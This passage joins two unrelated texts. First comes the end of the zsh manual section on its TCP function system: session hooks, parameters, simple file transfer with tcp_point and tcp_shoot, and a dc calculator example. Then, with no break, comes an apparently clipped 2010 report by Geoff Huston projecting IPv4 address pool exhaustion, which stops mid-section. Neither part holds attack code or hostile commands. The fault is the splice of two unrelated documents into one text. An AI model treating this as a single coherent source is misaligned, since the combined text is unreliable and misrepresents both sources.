The **-v** flag specifies that a **$TCP\_PROMPT** will be output before each
session. This is output after any modification to TCP\_SESS by the user-
defined **tcp\_on\_spam** function described below. \(Obviously that function
is able to generate its own output.\)

If the option **-e** is present, the line given as _cmd ..._ is executed using
**eval** , otherwise it is executed without any further processing.

**tcp\_talk**

    This is a fairly simple-minded attempt to force input to the line editor to go straight to the default TCP\_SESSION. 
    An escape string, **$TCP\_TALK\_ESCAPE** , default ':', is used to allow access to normal shell operation. If it is on its own at the start of the line, or followed only by whitespace, the line editor returns to normal operation. Otherwise, the string and any following whitespace are skipped and the remainder of the line executed as shell input without any change of the line editor's operating mode. 
The current implementation is somewhat deficient in terms of use of the
command history. For this reason, many users will prefer to use some form of
alternative approach for sending data easily to the current session. One
simple approach is to alias some special character \(such as '**%** '\) to
'**tcp\_command --** '.

**tcp\_wait**

    The sole argument is an integer or floating point number which gives the seconds to delay. The shell will do nothing for that period except wait for input on all TCP sessions by calling **tcp\_read -a**. This is similar to the interactive behaviour at the command prompt when zle handlers are installed. 
**'One-shot' file transfer**

**tcp\_point** _port_

**tcp\_shoot** _host port_

    This pair of functions provide a simple way to transfer a file between two hosts within the shell. Note, however, that bulk data transfer is currently done using **cat**. **tcp\_point** reads any data arriving at _port_ and sends it to standard output; **tcp\_shoot** connects to _port_ on _host_ and sends its standard input. Any unused _port_ may be used; the standard mechanism for picking a port is to think of a random four-digit number above 1024 until one works. 
    To transfer a file from host **woodcock** to host **springes** , on **springes** : 
[code]

    **tcp_point 8091 >output_file
    **
[/code]

    and on **woodcock** : 
[code]

    **tcp_shoot springes 8091 <input_file
    **
[/code]

    As these two functions do not require **tcp\_open** to set up a TCP connection first, they may need to be autoloaded separately. 
## Tcp User-defined Functions

Certain functions, if defined by the user, will be called by the function
system in certain contexts. This facility depends on the module
**zsh/parameter** , which is usually available in interactive shells as the
completion system depends on it. None of the functions need be defined; they
simply provide convenient hooks when necessary.

Typically, these are called after the requested action has been taken, so that
the various parameters will reflect the new state.

**tcp\_on\_alias** _alias fd_

    When an alias is defined, this function will be called with two arguments: the name of the alias, and the file descriptor of the corresponding session. 
**tcp\_on\_close** _sess fd_

    This is called with the name of a session being closed and the file descriptor which corresponded to that session. Both will be invalid by the time the function is called. 
**tcp\_on\_open** _sess fd_

    This is called after a new session has been defined with the session name and file descriptor as arguments. 
**tcp\_on\_rename** _oldsess fd newsess_

    This is called after a session has been renamed with the three arguments old session name, file descriptor, new session name. 
**tcp\_on\_spam** _sess command_ **...**

    This is called once for each session spammed, just _before_ a command is executed for a session by **tcp\_spam**. The arguments are the session name followed by the command list to be executed. If **tcp\_spam** was called with the option **-t** , the first command will be **tcp\_send**. 
    This function is called after **$TCP\_SESS** is set to reflect the session to be spammed, but before any use of it is made. Hence it is possible to alter the value of **$TCP\_SESS** within this function. For example, the session arguments to **tcp\_spam** could include extra information to be stripped off and processed in **tcp\_on\_spam**. 
If the function sets the parameter **$REPLY** to '**done** ', the command line
is not executed; in addition, no prompt is printed for the **-v** option to
**tcp\_spam**.

**tcp\_on\_unalias** _alias fd_

    This is called with the name of an alias and the corresponding session's file descriptor after an alias has been deleted. 
## Tcp Utility Functions

The following functions are used by the TCP function system but will rarely if
ever need to be called directly.

**tcp\_fd\_handler**

    This is the function installed by **tcp\_open** for handling input from within the line editor, if that is required. It is in the format documented for the builtin '**zle -F** ' in **zshzle**\(1\) . 
    While active, the function sets the parameter **TCP\_HANDLER\_ACTIVE** to 1. This allows shell code called internally \(for example, by setting **tcp\_on\_read**\) to tell if is being called when the shell is otherwise idle at the editor prompt. 
**tcp\_output \[ -q \] -P** _prompt_ **-F** _fd_ **-S** _sess_

    This function is used for both logging and handling output to standard output, from within **tcp\_read** and \(if **$TCP\_OUTPUT** is set\) **tcp\_send**. 
    The _prompt_ to use is specified by **-P** ; the default is the empty string. It can contain: 
    **%c**
Expands to 1 if the session is the current session, otherwise 0. Used with
ternary expresions such as '**%\(c.-.+\)** ' to output '**+** ' for the
current session and '**-** ' otherwise.

**%f**

Replaced by the session's file descriptor.

**%s**

Replaced by the session name.

**%%**

Replaced by a single '**%** '.

    The option **-q** suppresses output to standard output, but not to any log files which are configured. 
The **-S** and **-F** options are used to pass in the session name and file
descriptor for possible replacement in the prompt.

## Tcp User Parameters

Parameters follow the usual convention that uppercase is used for scalars and
integers, while lowercase is used for normal and associative array. It is
always safe for user code to read these parameters. Some parameters may also
be set; these are noted explicitly. Others are included in this group as they
are set by the function system for the user's benefit, i.e. setting them is
typically not useful but is benign.

It is often also useful to make settable parameters local to a function. For
example, '**local TCP\_SILENT=1** ' specifies that data read during the
function call will not be printed to standard output, regardless of the
setting outside the function. Likewise, '**local TCP\_SESS=**_sess_ ' sets a
session for the duration of a function, and '**local TCP\_PROMPT=** '
specifies that no prompt is used for input during the function.

**tcp\_expect\_lines**

    Array. The set of lines read during the last call to **tcp\_expect** , including the last \(**$TCP\_LINE**\). 
**tcp\_filter**

    Array. May be set directly. A set of extended globbing patterns which, if matched in **tcp\_output** , will cause the line not to be printed to standard output. The patterns should be defined as described for the arguments to **tcp\_expect**. Output of line to log files is not affected. 
**TCP\_HANDLER\_ACTIVE**

    Scalar. Set to 1 within **tcp\_fd\_handler** to indicate to functions called recursively that they have been called during an editor session. Otherwise unset. 
**TCP\_LINE**

    The last line read by **tcp\_read** , and hence also **tcp\_expect**. 
**TCP\_LINE\_FD**

    The file descriptor from which **$TCP\_LINE** was read. **$\{tcp\_by\_fd\[$TCP\_LINE\_FD\]\}** will give the corresponding session name. 
**tcp\_lines**

    Array. The set of lines read during the last call to **tcp\_read** , including the last \(**$TCP\_LINE**\). 
**TCP\_LOG**

    May be set directly, although it is also controlled by **tcp\_log**. The name of a file to which output from all sessions will be sent. The output is proceeded by the usual **$TCP\_PROMPT**. If it is not an absolute path name, it will follow the user's current directory. 
**TCP\_LOG\_SESS**

    May be set directly, although it is also controlled by **tcp\_log**. The prefix for a set of files to which output from each session separately will be sent; the full filename is **$\{TCP\_LOG\_SESS\}.**_sess_. Output to each file is raw; no prompt is added. If it is not an absolute path name, it will follow the user's current directory. 
**tcp\_no\_spam\_list**

    Array. May be set directly. See **tcp\_spam** for how this is used. 
**TCP\_OUTPUT**

    May be set directly. If a non-empty string, any data sent to a session by **tcp\_send** will be logged. This parameter gives the prompt to be used in a file specified by **$TCP\_LOG** but not in a file generated from **$TCP\_LOG\_SESS**. The prompt string has the same format as **TCP\_PROMPT** and the same rules for its use apply. 
**TCP\_PROMPT**

    May be set directly. Used as the prefix for data read by **tcp\_read** which is printed to standard output or to the log file given by **$TCP\_LOG** , if any. Any '**%s** ', '**%f** ' or '**%%** ' occurring in the string will be replaced by the name of the session, the session's underlying file descriptor, or a single '**%** ', respectively. The expression '**%c** ' expands to 1 if the session being read is the current session, else 0; this is most useful in ternary expressions such as '**%\(c.-.+\)** ' which outputs '**+** ' if the session is the current one, else '**-** '. 
**TCP\_READ\_DEBUG**

    May be set directly. If this has non-zero length, **tcp\_read** will give some limited diagnostics about data being read. 
**TCP\_SECONDS\_START**

    This value is created and initialised to zero by tcp\_open. 
    The functions **tcp\_read** and **tcp\_expect** use the shell's **SECONDS** parameter for their own timing purposes. If that parameter is not of floating point type on entry to one of the functions, it will create a local parameter **SECONDS** which is floating point and set the parameter **TCP\_SECONDS\_START** to the previous value of **$SECONDS**. If the parameter is already floating point, it is used without a local copy being created and **TCP\_SECONDS\_START** is not set. As the global value is zero, the shell elapsed time is guaranteed to be the sum of **$SECONDS** and **$TCP\_SECONDS\_START**. 
This can be avoided by setting **SECONDS** globally to a floating point value
using '**typeset -F SECONDS** '; then the TCP functions will never make a
local copy and never set **TCP\_SECONDS\_START** to a non-zero value.

**TCP\_SESS**

    May be set directly. The current session; must refer to one of the sessions established by **tcp\_open**. 
**TCP\_SILENT**

    May be set directly, although it is also controlled by **tcp\_log**. If of non-zero length, data read by **tcp\_read** will not be written to standard output, though may still be written to a log file. 
**tcp\_spam\_list**

    Array. May be set directly. See the description of the function **tcp\_spam** for how this is used. 
**TCP\_TALK\_ESCAPE**

    May be set directly. See the description of the function **tcp\_talk** for how this is used. 
**TCP\_TIMEOUT**

    May be set directly. Currently this is only used by the function **tcp\_command** , see above. 
## Tcp User-defined Parameters

The following parameters are not set by the function system, but have a
special effect if set by the user.

**tcp\_on\_read**

    This should be an associative array; if it is not, the behaviour is undefined. Each key is the name of a shell function or other command, and the corresponding value is a shell pattern \(using **EXTENDED\_GLOB**\). Every line read from a TCP session directly or indirectly using **tcp\_read** \(which includes lines read by **tcp\_expect**\) is compared against the pattern. If the line matches, the command given in the key is called with two arguments: the name of the session from which the line was read, and the line itself. 
    If any function called to handle a line returns a non-zero status, the line is not output. Thus a **tcp\_on\_read** handler containing only the instruction '**return 1** ' can be used to suppress output of particular lines \(see, however, **tcp\_filter** above\). However, the line is still stored in **TCP\_LINE** and **tcp\_lines** ; this occurs after all **tcp\_on\_read** processing. 
## Tcp Utility Parameters

These parameters are controlled by the function system; they may be read
directly, but should not usually be set by user code.

**tcp\_aliases**

    Associative array. The keys are the names of sessions established with **tcp\_open** ; each value is a space-separated list of aliases which refer to that session. 
**tcp\_by\_fd**

    Associative array. The keys are session file descriptors; each value is the name of that session. 
**tcp\_by\_name**

    Associative array. The keys are the names of sessions; each value is the file descriptor associated with that session. 
## Tcp Examples

Here is a trivial example using a remote calculator.

TO create a calculator server on port 7337 \(see the **dc** manual page for
quite how infuriating the underlying command is\):

    
[code]

    **tcp_proxy 7337 dc**
[/code]

To connect to this from the same host with a session also named '**dc** ':

    
[code]

    **tcp_open localhost 7337 dc**
[/code]

To send a command to the remote session and wait a short while for output
\(assuming **dc** is the current session\):

    
[code]

    **tcp_command 2 4 + p**
[/code]

To close the session:

    
[code]

    **tcp_close**
[/code]

The **tcp\_proxy** needs to be killed to be stopped. Note this will not
usually kill any connections which have already been accepted, and also that
the port is not immediately available for reuse.

The following chunk of code puts a list of sessions into an xterm header, with
the current session followed by a star.

    
[code]

    **print -n "\033]2;TCP:" ${(k)tcp_by_name:/$TCP_SESS/$TCP_SESS\*} "\a"
    **
[/code]

## Tcp Bugs

The function **tcp\_read** uses the shell's normal **read** builtin. As this
reads a complete line at once, data arriving without a terminating newline can
cause the function to block indefinitely.

Though the function suite works well for interactive use and for data arriving
in small amounts, the performance when large amounts of data are being
exchanged is likely to be extremely poor.

# IPv4 Address Report

**Created:**| _4/12/2010 7:34:21 PM_  
---|---  
**Updated:**| _4/12/2010 7:34:45 PM_  
**Author:**| __  
**Tags:**| _report network-security_  
  

  
  
<img src='img/Temp2_4265.jpg' width='366' height='235' />|

# IPv4 Address Report

[code]

    
    
    
    
    
[/code]

This report is auto-generated by a daily script. The report you are seeing
here was generated at 12-Apr-2010 08:00 UTC.  
---|---  
* * *
**Projected IANA Unallocated Address Pool Exhaustion: 24-Sep-2011**

**Projected RIR Unallocated Address Pool Exhaustion: 06-Jul-2012**

* * *
> This gadget has been developed by Takashi Arano, Intec NetCore
> \(http://inetcore.com/project/ipv4ec/ \). A range of other exhaustion
> counter widgets and apps can be found at Hurricane Electric
> \(http://ipv6.he.net\).
## Notes

**11 May 2009**

I've made a couple of changes to the prediction model to align with current
RIR practices and my understanding of the manner in which the legacy B and C
blocks will be managed by the RIRs.

The RIPE NCC has commenced allocations from 188.0.0.0/8 in February 2009. This
is a legacy Class B block that is marked as "various". I've moved this block
into the RIPE-managed address pool and used the recent allocations from this
block as part of RIPE's total set of allocation in terms of demand modelling
RIPE's future needs.

The set of legacy /8s that used to be the old Class B and C space is a set of
approximately 50 /8s. A summary of these address blocks can be found here.
After making the change for 188/8 there are the equivalent of 7.4731 /8s \(or
some 125.4 million addresses\) unassigned in the remaining "various" legacy /8
address blocks. At the time IANA reaches the last 5 /8s \(the "IANA Exhaustion
time" as defined by current address allocation policies\), these unassigned
addresses in the legacy /8s are then distributed evenly to the RIRs. However,
as 188/8 was already part of this collection of legacy /8 blocks, the
distribution includes a smaller allocation to the RIPE NCC. Using this
algorithm, when IANA reaches the last 5 /8s each RIR recceives a further
1.69462 /8s from the "various" pool, except for RIPE, which recieves a further
0.69462 /8s.

_Geoff Huston_

* * *
## Table of Contents

  1. What's the question again?
  2. IPv4 Address Distribution Structure
  3. An Analysis of IPv4 Addresses
  4. Current Status
  5. Time Series Data
  6. Models for Address Consumption
  7. Predicting Address Pool Exhaustion
  8. How Accurate is this Date?
  9. Data Sets and Reports
  10. Resources Used to Generate this Report

* * *
## What's the question again?

> Its often been said that anything can be proved with statistics, and that
> may well be the case. As this article is describing an exercise in
> statistical analysis, in order to make some predictions about when certain
> events may take place, then some care must be taken to ensure that the
> question is clearly phrased, and that the data being analyzed is clearly
> relevant to the question.
> So perhaps the best way to commence this article is to ask what is the
> question being posed here? Is it an effort to predict the date of the end of
> IPv4? Or is this a prediction of the date when complete IPv4 address
> exhaustion will occur? This article does not attempt to encompass such
> ambitious forms of prediction. The exercise being undertaken here is far
> more modest. The question being posed is: **"What is the anticipated date
> when the current policy regime concerning the distribution of IPv4 address
> is no longer relevant?"** Or, in other words, we are looking for some
> indicators as to the time when our current policies for IPv4 address
> distribution are expected to run out because the unallocated address pool on
> which these policies are based is exhausted.
> The predictive exercise described here points to a time when the current
> address distribution mechanisms will no longer apply. The current address
> allocation policies used by the Regional Internet Registries \(RIRs\) are
> critically based on a continual supply of previously unused addresses being
> assigned to meet the needs of applicants. This is achieved by the RIRs
> continually drawing addresses from the unallocated address pool. At the
> point in time when the unallocated address pool is exhausted the current
> distribution mechanism for addresses as used by the address registries would
> appear to have reached a logical conclusion. As to what mechanisms would be
> appropriate beyond that date to support the continued distribution of
> addresses, that is not a topic to be considered in this particular report.
* * *
## IPv4 Address Distribution Structure

> An address goes through a number of stages on the path to deployment.
> Originally the address block is a parameter set of the underlying protocol,
> and the intended purpose of segments of the address space is described in an
> address architecture.
> ### IPv4 Address Architecture
> In the case of IPv4 there have been a number of iterations of address
> architecture, starting with the original specification of the so-called 8/24
> split, using 8 bits to identify the network and 24 bits to identify the end
> host, then the adoption of the Class-based address system, to the current
> classless setup, where addresses in the range 0.0.0.0 through to
> 223.255.255.255 are assigned for use as global unicast addresses, addresses
> in the range 224.0.0.0 though to 239.255.255.255 are assigned for multicast
> use, and the remaining addresses, from 240.0.0.0 through to 255.255.255.254
> are reserved for future definition by the IETF **\[RFC5735\]**.
> ### The Internet Assigned Numbers Authority \(IANA\)
> The role of the IANA in this activity is to manage the unallocated IPv4
> unicast address pool. IANA does not perform end-user or ISP address
> assignments, but performs allocations of address blocks to RIRs under
> defined criteria of RIR use. The criteria for IANA allocation of address
> space to an RIR is described in **\[IPv4 Policy\]**. Address space is
> allocated to the RIRs in units of /8 address blocks, and the specific
> address blocks allocated to the RIR is an IANA decision. The block is
> allocated to the RIR when the RIR's available space falls below the
> equivalent of a /9, or falls below the working space required for 9 months
> of allocations. The allocation made by IANA is a minimum of a /8 block, and
> enough to restore the RIR's address pool to encompass a further 18 months of
> allocations.
> ### The Regional Internet Registries \(RIRs\)
> The Regional Internet Registries are AFRINIC, APNIC, ARIN LACNIC and the
> RIPENCC. The RIRs operate as self-regulatory bodies with strong regional
> industry support and participation. One role of the RIRs is to host open
> policy fora that, among other functions, sets address allocation policies
> within the region. The RIRs manage the address distribution function,
> assigning addresses to ISPs and various forms of Local Internet Registries
> \(LIRs\) in a manner that conforms to these regional policies.
> ### The Address Distribution Function
> The overall picture of the address distribution function is the definition
> of unallocated address space as a protocol standards action, and the
> management role of the unallocated global unicast address space to the IANA.
> The IANA then allocate this address space to the RIRs, under criteria as
> agreed between the IANA and the RIRs. The RIRs then pass this address space
> to Local Internet Registries and ISPS, each RIRs using criteria for this
> distribution function as determined by the regional policy forum. Further
> address distribution is perform by the LIR or ISP is a manner that is
> consistent with regional address policies.
> A number of aspects of this function are designed to prevent various forms
> of failure or distortion of the address distribution function:
>   * The essential attribute of address distribution that is to be preserved
> is its uniqueness of allocation.
>   * Address policies are intended to be applied uniformly and fairly.
>   * The prevailing address policy regime characterizes addresses as a
> network attribute, rather than as an asset or tradeable good in its own
> right.
>   * Addresses are made available from the unallocated pool to meet demands
> for their use in networks, and are intended to be assigned for as long as
> the need condition continues. Unneeded addresses are to be passed back to
> the registry.
>   * Addresses are an unpriced public good. Address trading is explicitly not
> supported in terms of registry support functions relating to title transfer.
> The policy mechanism is intended to prevent various forms of trading that
> may lead to market distortions such as hoarding, monopolistic control,
> cartels, price fixing, for example.
>

* * *
## An Analysis of IPv4 Addresses

> This exercise looks at the various holding pools associated with the
> unallocated address pool, and analyses their dynamic behavior over time, as
> well as modelling the application the relevant policies to these address
> pools. The exercise also attempts to assess the relative behavior of the
> pool of allocated and advertised addresses and the associated pool of
> allocated, but unadvertised addresses, and derive a model of anticipated
> future demands of allocations from the unallocated address pools.
> Again, this is not a report on the prediction of the "exhaustion of IPv4",
> nor when "IPv4 addresses will run out". This is a more specific report on
> the procedure used to make an estimate, based on recent consumption trends,
> as to when the current policies for address distribution that rely on the
> continued availability of the unallocated address pool may be exhausted. At
> that point different address distribution policies are necessary to continue
> to serve the production IPv4 Internet.
> The date predicted by this model where the IPv4 unallocated address pool
> will be exhausted is **06-Jul-2012**. A related prediction is the exhaustion
> of the IANA IPv4 unallocated address pool, which this model predicts will
> occur on **24-Sep-2011**.
> This model constructs a demand model for IPv4 address space. As a further
> exercise in projections, it is possible to construct a very approximate
> estimation of a potential response to the exhaustion of the unallocated
> number pool. The assumption made in this model is that the unadvertised
> address pool would come back into play to fuel further demand for IPv4
> address space in the context of network demand. A very approximate
> prediction of the effect of this market on the longevity of the IPv4 address
> distribution function is also contained in this report. A very approximate
> estimate of additional time such an option would provide is **07-Jul-2012**.
* * *
## Current Status

> The IPv4 address space is a 32 bit field. There are 4,294,967,296 unique
> values, considered in this context as a sequence of 256 "/8s", where each
> "/8" corresponds to 16,777,216 unique address values.
> As noted in RFC 5735 a number of address blocks are reserved for uses
> outside 'conventional' use in the public Internet as unicast identity
> tokens. In adding up these special purpose use address reservations there
> are the equivalent of 35.078 /8 address blocks in this category. This is
> composed of 16 /8 blocks reserved for use in multicast scenarios, 16 /8
> blocks reserved for some unspecified future use, 1 /8 block \(0.0.0.0/8\)
> for local identification, a single /8 block reserved for loopback
> \(127.0.0.0/8\), and a /8 block reserved for private use \(10.0.0.0/8\).
> Smaller address blocks are also reserved for other special uses.
> The remaining 220.922 /8 address blocks are available for use in the public
> IPv4 Internet. IANA holds a pool of unallocated addresses, while the
> remainder have already been allocated by IANA for further downstream
> assignment by the RIRs. The current status of the total IPv4 address space
> is indicated in Figure 1.
> <img src='img/Temp2_4267.jpg' />  
>  Figure 1 - Address Pool Status
> This allocated number pool is managed by the Regional Internet Registries,
> \(RIRs\) and the breakdown of IANA allocated address blocks to each of the
> RIRs is shown in Figure 2. The address block allocated to "VARIOUS" refers
> to the IANA IPv4 Address registry where a number of /8 blocks were assigned
> prior to the commencement of today's RIR system, and are listed as assigned
> to "Various Registries". Address blocks that are assigned from these /8s are
> typically managed by multiple registries.
> <img src='img/Temp2_4319.jpg' />  
>   _Figure 2 - Address allocations to RIRs_
> Any individual IPv4 address can be in any one of five states:
>   * reserved for special use, or
>   * part of the IANA unallocated address pool,
>   * part of the unassigned pool held by an RIR,
>   * assigned to an end user entity but not advertised in the routing system,
> or
>   * assigned and advertised in BGP.
>

> The current totals of IP addresses according to this set of states is shown
> in Figure 3.
> <img src='img/Temp2_4288.jpg' />  
>   _Figure 3 - Address Pools by State_
> This status can be further categorized per RIR, as shown in Figure 4.
> <img src='img/Temp2_4256.jpg' />  
>   _Figure 4 - Address Pools by RIR by State_
> Another view of the address state pools is by grouping the address space
> into a sequence of /8s, and looking at state sub totals within each /8
> address block. The following view shows the current status of the IPv4
> address space as 256 /8 columns each describing a pool of 16,777,216
> addresses.
> <img src='img/Temp2_4326.jpg' />  
>   _Figure 5 - IPv4 Address Status_
* * *
## Time Series Data

> ### Allocations
> IPv4 Address are drawn from the Unallocated Address Number Pool,
> administered by the IANA. These allocations are made to the Regional
> Internet Registries \(RIRs\), and the allocation unit is in units of /8s.
> <img src='img/Temp2_4331.jpg' />  
>   _Figure 6 - Cumulative IANA Address allocations_
> This series can be further broken down by tracking the cumulative number of
> addresses that have been allocated to each of the 5 current RIRs. Also
> indicated here are the pre-RIR allocated blocks which are marked here as
> "VARIOUS". These allocations are indicated in Figure 7.
> <img src='img/Temp2_4321.jpg' />  
>   _Figure 7 - Cumulative IANA Address block allocations per RIR_
> ###
> ###
> ### Assignments
> RIRs perform assignments of address blocks to ISPs and local Internet
> registries. The cumulative number of assigned addresses over time is shown
> in Figure 8.
> <img src='img/Temp2_4290.jpg' />  
>   _Figure 8 - Cumulative RIR Address assignments_
> This data can be further categorized by looking at the original allocation
> classification of the block from which the assignment has been performed.
> <img src='img/Temp2_4310.jpg' />  
>   _Figure 9 - Cumulative RIR address assignments, per RIR_
> ###
> ###
> ### RIR Pools
> Each RIR allocates from its locally administered number pool. When the pool
> reaches a low threshold size a further address block is allocated by IANA to
> the RIR. The allocation quantity is based on the allocation activity
> recorded by the RIR for the 18 months prior to the allocation request,
> rounded to the next largest /8 address block. The pool size within each RIR
> over time can be derived from the allocation and assignment series data,
> producing the following graph. This is indicated in Figure 10.
> <img src='img/Temp2_4252.jpg' />  
>   _Figure 10 - RIR Address Pool size_
> The more recent data from this series is shown in Figure 10a.
> <img src='img/Temp2_4315.jpg' />  
>   _Figure 10a - RIR Address Pool size_
> ###
> ### Advertisements
> The next data set is total span of address space advertised in the BGP
> routing table over time. The data has been collected on a 2-hourly basis
> since late 1999. This is shown in Figure 11.
> <img src='img/Temp2_4270.jpg' />  
>   _Figure 11 - Advertised Address Count_
> This data shown a relatively high level of noise, due to the intermittent
> appearance of up to 3 /8 address advertisements, with frequencies that vary
> from hours to a number of days. in attempting to generate a best fit
> sequence to this data, some effort has been made to smooth this data, as
> indicated in the following figures. The first pass is to generate a day-by-
> day sequence, where all the sample values recorded over a day are averaged
> into a single daily value. This is shown in Figure 11a.
> <img src='img/Temp2_4299.jpg' />  
>   _Figure 11a - Advertised Address Count - daily average_
> A comparison of the raw data and these daily averages is shown in Figure
> 11b.
> <img src='img/Temp2_4286.jpg' />  
>   _Figure 11b - Advertised Address Count - raw and daily average_
> This daily average sequence is smoothed by applying a sliding window average
> across the sequence in two passes. The size of this sliding window is 93
> days \(or approximately 3 months\).
> <img src='img/Temp2_4279.jpg' />  
>   _Figure 11c - Advertised Address Count - raw and daily average_
> The correlation of this smoothed sequence against the raw data and the daily
> average sequence is shown in Figure 11d.
> <img src='img/Temp2_4303.jpg' />  
>   _Figure 11d - Advertised Address Count - raw and daily average_
* * *
## Models for Address Consumption

> ### Unadvertised Addresses
> The approach used here will be based on the trend in advertised addresses.
> The rationale for this is that the basic policy framework used by the RIRs
> in distributing IPv4 addresses is that individual allocations of address
> space are based on demonstrated need for public addresses, most typically in
> the context of their intended use in the public Internet. In other words
> allocated addresses are allocated on the general understanding that such
> addresses will appear as advertised addresses in the public Internet. Some
> data to justify this approach is shown in Figure 14a.
> However, to get to that figure it is first necessary to generate a view of
> the unadvertised as well as the advertised allocated address space. The
> difference between the daily allocated address total and the daily average
> of the advertised address span is the unadvertised address count for each
> day. Figure 12 shows the number of advertised and unadvertised addresses as
> a day-by-day time series.
> <img src='img/Temp2_4323.jpg' />  
>   _Figure 12 - Advertised and Unadvertised Addresses_
> The ratio of unadvertised to advertised addresses can be plotted over time.
> This in shown in Figure 13.
> <img src='img/Temp2_4272.jpg' />  
>   _Figure 13 - Advertised / Unadvertised Addresses_
> Taking the most recent BGP routing table, it is possible to compare the
> address blocks contained in this routing table with the set of RIR
> allocations. This allows the construction of a view of advertised address
> space ordered by the data of the matching RIR allocation \(or allocations\).
> All other RIR-allocated address is effectively unadvertised address space,
> and, similarly, this unadvertised address space can also be ordered
> according to the RIR allocation date. The total address counts based on the
> allocation month can then be generated, and a time series of currently
> advertised and currently unadvertised space according to its allocation
> 'age' can be generated. This is indicated in Figure 14.
> <img src='img/Temp2_4285.jpg' />  
>   _Figure 14 - Advertised / Unadvertised Assignment Series_
> The data since 2000 is shown in Figure 14a.
> <img src='img/Temp2_4271.jpg' />  
>   _Figure 14a - Advertised / Unadvertised Assignment Series - since 2000_
> this has been broken for each RIR: AFRINIC \(Figure 14b\) , APNIC \(Figure
> 14c\), ARIN \(Figure 14d\), LACNIC \(Figure 14f\) and the RIPE NCC \(Figure
> 14e\). Also the combined unadvertised series \(Figure 14g\) and the combined
> advertised series \(Figure 14h\).
> <img src='img/Temp2_4300.jpg' />  
>   _Figure 14b - AFRINIC Advertised / Unadvertised Assignment Series - since
> 2000_
> <img src='img/Temp2_4306.jpg' />  
>   _Figure 14c - APNIC Advertised / Unadvertised Assignment Series - since
> 2000_
> <img src='img/Temp2_4297.jpg' />  
>   _Figure 14d - ARIN Advertised / Unadvertised Assignment Series - since
> 2000_
> <img src='img/Temp2_4253.jpg' />  
>   _Figure 14e - LACNIC Advertised / Unadvertised Assignment Series - since
> 2000_
> <img src='img/Temp2_4316.jpg' />  
>   _Figure 14f - RIPE NCC Advertised / Unadvertised Assignment Series - since
> 2000_
> <img src='img/Temp2_4308.jpg' />  
>   _Figure 14g - Combined RIR Unadvertised Assignment Series - since 2000_
> <img src='img/Temp2_4311.jpg' />  
>   _Figure 14h - Combined RIR Advertised Assignment Series - since 2000_
> Another way of viewing this data is to normalize the aged unadvertised
> address space value by looking at the aged unadvertised address space as a
> proportion of the advertised address space for each month. This is shown in
> Figure 15.
> <img src='img/Temp2_4283.jpg' />  
>   _Figure 15 - Unadvertised / Advertised proportion_
> The data since 2000 is shown in Figure 15a.
> <img src='img/Temp2_4332.jpg' />  
>   _Figure 15 - Unadvertised / Advertised proportion - since 2000_
> The observation made here is that, with the exception of the most recent
> allocation intervals, some 90 to 95% of all allocated address space is
> currently visible in the routing table. This drops to a value of between 50%
> to 60% for more recently allocated address space.
> This observation is used to justify the basic premise behind the predictive
> exercise, namely that analysis of the advertised address pool and its recent
> behavior can be a reliable indicator of future address consumption.
> ### Models for Data Series
> It is now possible to construct a relatively complete view of the sequences
> of various address pools, Figure 16 shows the total amount of space
> allocated by the IANA to the RIRs, the total amount of space that has been
> allocated by the RIRs, the total amount of space advertised in the routing
> table, the total amount of unadvertised space that has been allocated, and
> the total amount of address space that is held in the RIR's local allocation
> pools. This is indicated in Figure 16. The objective here is to generate a
> predictive model that can be used to extend these series forward in time in
> order to estimate a point of exhaustion of the unallocated address pool
> <img src='img/Temp2_4302.jpg' />  
>   _Figure 16 - IPv4 Address Pool Status_
> The more recent section of these series is indicated in Figure 17. The
> approach used here is to take a recent sequence of data as the baseline for
> a predictive model.
> <img src='img/Temp2_4278.jpg' />  
>   _Figure 17 - IPv4 Address Pool Status - since 2000_
> #### IANA Data Series
> Before looking in detail at the advertised address space, the IANA
> allocation data and RIR allocation data will be examined, and a relatively
> straightforward form of data analysis will be performed over the data
> series.
> The IANA allocation data is indicated in Figure 18. This data is shown in
> both its original format, and in a smoothed format, using a sliding window
> smoothing algorithm, in a triple pass of the smoothing algorithm across the
> data.
> <img src='img/Temp2_4289.jpg' />  
>   _Figure 18 - IANA Allocation Series_
> Three least squares best fits passes have been performed over the most
> recent 1200 days of data: a linear best fit, an exponential best fit and a
> 2nd order polynomial best fit \(derived from application of a linear best
> fit to the first order differential of the data. These are shown in Figure
> 18a.
> <img src='img/Temp2_4293.jpg' />  
>   _Figure 18a - IANA Allocation Series_
> It is then possible to take these three best fit data series, and
> extrapolate their data forward in time until the point where all available
> address space has been allocated by the IANA and no further unallocated
> address pool remains. This is shown in Figure 18b.
> <img src='img/Temp2_4292.jpg' />  
>   _Figure 18b - IANA Allocation Series_
> #### RIR Allocations
> The RIR allocation data is indicated in Figure 19. This data is shown in
> both its original format, and in a smoothed format, using a sliding window
> smoothing algorithm, in a double pass of the smoothing algorithm across the
> data.
> <img src='img/Temp2_4296.jpg' />  
>   _Figure 19 - RIR Allocation Series_
> Three least-squares best fits passes have been performed over the most
> recent 1200 days of data: a linear best fit, an exponential best fit and a
> 2nd order polynomial best fit \(derived from application of a linear best
> fit to the first order differential of the data. These are shown in Figure
> 19a.
> <img src='img/Temp2_4318.jpg' />  
>   _Figure 19a - RIR Allocation Series_
> It is then possible to take these three best fit data series, and
> extrapolate their data forward in time until the point where all available
> address space has been allocated by the RIRs and no further unallocated
> address pool remains. This is shown in Figure 19b.
> <img src='img/Temp2_4282.jpg' />  
>   _Figure 19b - RIR Allocation Series_
> #### BGP Advertised Address Range
> The BGP advertised address span data is indicated in Figure 20. This data is
> shown in both its original format, and in a smoothed format, using a sliding
> window smoothing algorithm, in a triple pass of the smoothing algorithm
> across the data.
> <img src='img/Temp2_4328.jpg' />  
>   _Figure 20 - BGP Advertised Series_
> Three least-squares best fits passes have been performed over the most
> recent 1200 days of data: a linear best fit, an exponential best fit and a
> 2nd order polynomial best fit \(derived from application of a linear best
> fit to the first order differential of the data\). These are shown in Figure
> 20a.
> <img src='img/Temp2_4298.jpg' />  
>   _Figure 20a - BGP Advertised Series_
> It is then possible to take these three best fit data series, and
> extrapolate their data forward in time until the point where all available
> address space is advertised in the routing domain no further unallocated
> address pool remains. This is shown in Figure 20b.
> <img src='img/Temp2_4266.jpg' />  
>   _Figure 20b - BGP Advertised Series_
* * *
## Predicting Address Pool Exhaustion

> The final step is to generate a model for address consumption. One approach
> is to project forward the number of addresses found in the Internet's BGP
> table \(advertised addresses\), and also model the best fit projection of
> the ratio of unadvertised to advertised addresses. These two series will
> allow the projection of the total assigned address pool. Together with a
> model of the behavior of the RIR address pool, a complete address
> consumption model can be generated.
> ### Modelling Advertised Addresses
